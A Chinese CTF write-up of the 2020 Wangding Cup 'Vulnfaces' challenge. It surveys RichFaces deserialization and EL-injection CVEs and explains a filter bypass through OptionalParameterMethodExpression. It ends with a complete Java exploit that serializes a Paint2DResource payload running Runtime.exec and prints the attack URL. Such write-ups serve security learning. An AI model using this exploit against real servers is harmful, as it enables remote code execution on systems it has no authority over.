从2020网鼎杯决赛Vulnfaces回顾远古漏洞

前面

下载源码后发现是一个Richfaces的框架,请求大多基于AJAX,同时使用的JSF,(JavaServer Faces) 是一种用于构建 Web 应用程序的标准,两者结合就是 A4JRichfaces 就是这样一个框架。

踩坑

1

ViewState的反序列化漏洞

没有审计思路的时候,我就去搜索JSF的相关漏洞,我认为会有注入表达式的漏洞。

https://www.wangan.com/docs/1735

然后找到个 Mojarra 框架对JSF中的ViewState的反序列化漏洞,ViewState 在这里也是有使用的。

ViewState是个什么东西呢,http是无状态的,ViewState就是一种为了满足保存状态需求而出现的技术。

Java loves sending serialized objects all over the place. For example:In Http requests - Parameters,ViewState,Cookies,you name it.

这里面就存在反序列化的利用。

https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf

从这篇文章中,看到漏洞存在的场景,有两个比较关键的,

ViewState需要使用客户端存储的方法,且禁用加密方法,题目的环境配置是使用服务端来。

直接pass掉。

2

CVE-2013-2165 && CVE-2015-0279

回归主题,搜索richfaces 的漏洞

https://snyk.io/vuln/maven%3Aorg.richfaces%3Arichfaces-a4j

https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html

CVE-2013-2165 看起来满足版本要求,

可能是没注意到后面的.BETA2的缘故,我认为此版本依然可以使用此漏洞。

根据描述org.ajax4jsf.resource.ResourceBuilderImpl#getResourceDataForKey 方法中,

如果keyDATA开头时,就会解密后反序列化。

但是这里反序列化是使用的是LookAheadObjectInputStream 这个类,

常规Hook,只允许加载白名单里的类以及他们的子类。

org.ajax4jsf.resource.InternetResource,org.ajax4jsf.resource.SerializableResource,javax.el.Expression,javax.faces.el.MethodBinding,javax.faces.component.StateHolderSaver,java.awt.Color,org.richfaces.renderkit.html.Paint2DResource$ImageData,org.richfaces.demo.paint2d.PaintData

后来通过diff才发现这已经是更新的版本了。

https://github.com/richfaces4/core/compare/4.3.2.20130513-Final...4.3.3.20130710-Final

CVE-2015-0279(RF-13977)的描述是可以任意EL执行,在org.richfaces.resource.MediaOutputResource 类,但是版本不合适,不存在这个类。

我访问这个链接,说我没有权限看。

https://issues.jboss.org/browse/RF-13977,

后面的漏洞多是对于此CVE的绕过和拓展。

CVE-2018-14667

https://xz.aliyun.com/t/3264

这篇文章中讲到了的UserResource 也可以任意EL执行。

且内部类UriData是属于 白名单里的类的,但是!

题目的UriData 是继承于Serializable,执行后会抛出未授权的类,

又失败了。

解题

RF-14310

从白名单上可以看出来,只能是利用此漏洞了

漏洞描述跟 CVE-2015-0279 差不多,正好seebug里存在此利用的分析。

https://paper.seebug.org/766/

上面paper里的poc

使用了com.sun.facelets.el.LegacyMethodBinding 对象来绑定com.sun.facelets.el.TagMethodExpression 对象,前者作为中介,执行后者的getExpressionStringinvoke 方法,并处理异常。

实际的漏洞

是由com.sun.el.MethodExpressionImpl#invoke来完成。

poc打过去有serialVersionUID 的问题,解决办法在上面先知那篇文章的评论中有说到,

我是直接添加了一个跟本地Tomcat版本一样的依赖,然后删除其他无关的以及冲突的。

发现又出错了。

跟进看一下,

org.richfaces.renderkit.html.Paint2DResource#send 方法中存在过滤,

就是不能出现 \( 还有 getClass ,好家伙,从表达式上说没法儿绕了,但从白名单来看确实就是要从这里打。

绕过

过滤在二者之间,

有没有一种可能,MethodBinding 或者MethodExpressiongetExpressionString 获取的表达式 和invoke 执行时使用的表达式不同。

果然https://anquan.baidu.com/article/513

这篇文章里提出了思路。

对,就是错误处理机制。

文章里把可以用的类也已经找好了,

org.jboss.seam.el.OptionalParameterMethodExpression这个类是满足条件的,

他有个最大的特点就是 getExpressionStringinvoke 都是使用的 this.withParam ,而在invoke抛出MethodNotFoundException异常时,使用this.withNoParam

这正好满足需求,构造一个正常的com.sun.el.MethodExpressionImplwithParam 通过检查,且可以抛出异常,然后恶意的表达式给withNoParam

加个空格就可以抛出方法不存在的异常。

继续使用LegacyMethodBinding 封装,把原来exp里的TagMethodExpression 删掉换成OptionalParameterMethodExpression 就可以了,需要注意的是,这是外部包里的非显式声明为public的类,需要反射获取构造器然后设置权限来实例化。

主要是这里的绕过思路更加新奇。

poc

import com.sun.facelets.el.LegacyMethodBinding;
import org.ajax4jsf.util.base64.URL64Codec;
import org.jboss.el.MethodExpressionImpl;

import javax.el.MethodExpression;
import javax.faces.context.FacesContext;
import javax.faces.el.MethodBinding;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.zip.Deflater;


public class exp {
    public static void main(String[] args) throws Exception{

        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
        // 根据文章https://www.anquanke.com/post/id/160338
        Class cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);

        // 1. 设置ImageData
        //    构造ImageData_paint

        MethodExpressionImpl methodExpression1 = new MethodExpressionImpl("#{request.toString }", null, null, null, null, new Class[]{OutputStream.class, Object.class});
        MethodExpressionImpl methodExpression2 = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        Constructor constructor = Class.forName("org.jboss.seam.el.OptionalParameterMethodExpression").getDeclaredConstructor(MethodExpression.class,MethodExpression.class);
        constructor.setAccessible(true);
        MethodExpression methodExpression = (MethodExpression) constructor.newInstance(methodExpression1,methodExpression2);

        MethodBinding methodBinding = new LegacyMethodBinding(methodExpression);
        Object _paint = ct.newInstance(null, methodBinding);

        Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");
        Class innerClazz[] = clzz.getDeclaredClasses();
        for (Class c : innerClazz){
            int mod = c.getModifiers();
            String modifier = Modifier.toString(mod);
            if (modifier.contains("private")){
                Constructor cc = c.getDeclaredConstructor();
                cc.setAccessible(true);
                Object imageData = cc.newInstance(null);

                //    设置ImageData_width
                Field _widthField = imageData.getClass().getDeclaredField("_width");
                _widthField.setAccessible(true);
                _widthField.set(imageData, 300);

                //    设置ImageData_height
                Field _heightField = imageData.getClass().getDeclaredField("_height");
                _heightField.setAccessible(true);
                _heightField.set(imageData, 120);

                //    设置ImageData_data
                Field _dataField = imageData.getClass().getDeclaredField("_data");
                _dataField.setAccessible(true);
                _dataField.set(imageData, null);

                //    设置ImageData_format
                Field _formatField = imageData.getClass().getDeclaredField("_format");
                _formatField.setAccessible(true);
                _formatField.set(imageData, 2);

                //    设置ImageData_paint
                Field _paintField = imageData.getClass().getDeclaredField("_paint");
                _paintField.setAccessible(true);
                _paintField.set(imageData, _paint);

                //    设置ImageData_paint
                Field cacheableField = imageData.getClass().getDeclaredField("cacheable");
                cacheableField.setAccessible(true);
                cacheableField.set(imageData, false);

                //    设置ImageData_bgColor
                Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");
                _bgColorField.setAccessible(true);
                _bgColorField.set(imageData, 0);

                // 2. 序列化
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
                objectOutputStream.writeObject(imageData);
                objectOutputStream.flush();
                objectOutputStream.close();
                byteArrayOutputStream.close();

                // 3. 加密(zip+base64)
                byte[] pocData = byteArrayOutputStream.toByteArray();
                Deflater compressor = new Deflater(1);
                byte[] compressed = new byte[pocData.length + 100];
                compressor.setInput(pocData);
                compressor.finish();
                int totalOut = compressor.deflate(compressed);
                byte[] zipsrc = new byte[totalOut];
                System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
                compressor.end();
                byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

                // 4. 打印最后的poc
                String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
                System.out.println(poc);
            }
        }
    }
}

路径的获取

后面

做这个题目,找了好久的文章,虽说是远古漏洞吧,但也翻了很多文章,学到很多知识。

中间有些想放弃,https://anquan.baidu.com/article/513 ,幸好这里给了我一些思路。

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖